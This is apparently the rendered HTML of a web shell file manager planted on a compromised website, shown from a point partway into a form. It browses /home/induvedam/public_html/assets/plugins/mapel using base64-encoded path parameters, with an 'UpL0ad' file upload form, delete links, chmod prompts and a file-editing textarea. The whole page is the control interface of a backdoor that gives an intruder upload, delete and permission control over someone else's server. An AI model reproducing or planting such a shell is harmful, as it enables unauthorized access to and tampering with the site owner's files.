</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /home/induvedam/public_html/assets/plugins/mapel<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL21hcGVs"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL21hcGVs&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>42</td></tr><tr><td></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5z"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL21hcGVs&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL21hcGVs&x=anF1ZXJ5Lm1hcGFlbC5qcw==">X</a></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL21hcGVs&f=anF1ZXJ5Lm1hcGFlbC5qcw=="/>jquery.mapael.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL21hcGVs&f=anF1ZXJ5Lm1hcGFlbC5qcw==&c=`+btoa(c):0" value="0644"></td><td>123002</td></tr><tr><td></td><td><a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL21hcGVsL21hcHM="/>maps</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL21hcGVs&f=bWFwcw==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>